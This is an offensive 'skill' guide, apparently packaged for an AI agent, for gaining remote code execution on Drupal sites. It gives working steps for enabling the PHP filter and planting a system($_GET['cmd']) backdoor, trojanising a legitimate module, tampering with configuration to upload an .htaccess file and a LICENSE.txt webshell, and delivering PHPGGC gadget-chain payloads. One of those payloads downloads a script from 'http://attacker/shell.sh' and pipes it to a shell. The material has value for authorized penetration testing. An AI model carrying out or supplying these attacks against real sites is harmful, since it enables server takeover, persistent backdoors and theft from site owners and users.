Drupal Rce Exploitation

Drupal RCE Exploitation

A comprehensive skill for exploiting Drupal vulnerabilities to achieve remote code execution. This skill covers multiple attack vectors across different Drupal versions.

When to Use This Skill

Use this skill when:

• Testing Drupal applications for security vulnerabilities
• Attempting RCE against Drupal 7, 8, 10, or 11
• Working with PHP Filter module exploitation
• Leveraging configuration synchronization features
• Exploiting unsafe deserialization in contrib modules
• Using Drupal core gadget chains (SA-CORE-2024-007/008)

Prerequisites

• Target Drupal installation accessible via HTTP/HTTPS
• For some techniques: authenticated admin access
• PHPGGC tool for gadget chain payloads (optional but recommended)
• Basic understanding of Drupal architecture

Exploitation Techniques

1. PHP Filter Module (Drupal < 8)

The PHP Filter module allows embedded PHP code execution. In Drupal 8+, it's not installed by default.

Detection:

# Check if PHP filter module is installed
curl -I http://target/modules/php
# 403 response indicates the module exists

Exploitation Steps:

1. Navigate to /admin/modules and enable PHP Filter module
2. Go to Add content → Basic Page or Article
3. Insert PHP backdoor code
4. Set Text format to PHP code
5. Preview and save
6. Trigger by accessing the node: curl http://target/node/3

Backdoor Example:

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

2. Install PHP Filter Module (Drupal 8+)

For Drupal 8+, manually install the PHP Filter module:

1. Download: wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Navigate to Administration → Reports → Available updates
3. Click Browse, select the downloaded file, and click Install
4. Create a new page with PHP code format enabled

3. Backdoored Module Technique

Download a legitimate module, inject a backdoor, and install it:

1. Download a module (e.g., Turnstile) in compressed format
2. Add a PHP backdoor file inside the module
3. Create .htaccess to enable PHP execution:

   <IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteBase /
   </IfModule>
   

4. Install via /admin/modules/install
5. Access: /modules/turnstile/back.php

4. Configuration Synchronization Exploitation

This technique leverages Media and Media Library modules with configuration sync.

Step 1: Activate Required Modules

• Navigate to /admin/modules
• Enable Media and Media Library modules

Step 2: Patch Configuration Files

Export configuration from /admin/config/development/configuration/single/export and modify:

system.file.yml:

allow_insecure_uploads: true

field.field.media.document.field_media_document.yml:

file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

Import the patched configuration via /admin/config/development/configuration/single/import

Step 3: Upload Webshell

1. Upload .htaccess file via /media/add/document:

   <Files *>
     SetHandler application/x-httpd-php
   </Files>
   <IfModule mod_php.c>
     php_flag engine on
   </IfModule>
   <IfModule mod_php7.c>
     php_flag engine on
   </IfModule>
   <IfModule mod_php5.c>
     php_flag engine on
   </IfModule>
   

2. Upload LICENSE.txt with embedded PHP webshell (see scripts/create_webshell.py)

Step 4: Interact with Webshell

Access the uploaded file with the cookie parameter:

curl -c cookie.txt -b "89e127753a890d9c4099c872704a0711bbafbce9=phpinfo();" http://target/sites/default/files/LICENSE.txt

5. Drupal Core Gadget Chain (SA-CORE-2024-007/008)

Affected Versions:

• Drupal 7.0–7.101
• Drupal 8.x
• Drupal 10.2.0–10.2.10
• Drupal 10.3.0–10.3.8
• Early 11.x

Patched in: 10.2.11 / 10.3.9 / 7.102

Exploitation Workflow:

1. Find unserialize sink in contrib modules or custom code:

   grep -r "unserialize(" /path/to/drupal
   grep -r "Drupal\\Component\\Serialization\\PhpSerialize::decode" /path/to/drupal
   

2. Generate payload using PHPGGC:

   ./phpggc drupal/rce2 system 'id' > payload.ser
   

3. Deliver payload to the sink:

   curl -X POST https://target/admin/config/some/module \
        -d "serialized_setting=$(cat payload.ser)"
   

4. Trigger execution (often automatic at end of request)

Vulnerable Contrib Modules (Late 2024):

• Mailjet (<4.0.1, CVE-2024-13296)
• Eloqua (7.x-1.x < 1.15, CVE-2024-13297)

Example Exploitation:

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
     -F "import=@p.ser" https://target/admin/config/eloqua/import

Helper Scripts

Use the bundled scripts for common tasks:

• scripts/generate_gadget_payload.py - Generate PHPGGC payloads for Drupal gadget chains
• scripts/create_webshell.py - Create LICENSE.txt webshell with cookie-based command execution
• scripts/create_htaccess.py - Generate .htaccess file for PHP execution

Version Detection

Check Drupal version before attempting exploitation:

# Check core file
curl http://target/core/lib/Drupal.php

# Check changelog
curl http://target/CHANGELOG.txt

# Check robots.txt for version hints
curl http://target/robots.txt

Safety Notes

• Only use these techniques on systems you own or have explicit authorization to test
• Some techniques require authenticated admin access
• Configuration synchronization exploitation may be blocked by proper file system permissions
• Gadget chains require finding an unserialize sink in the target application

References

• Drupal core – gadget chain – SA-CORE-2024-008
• Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
• PHP Filter Module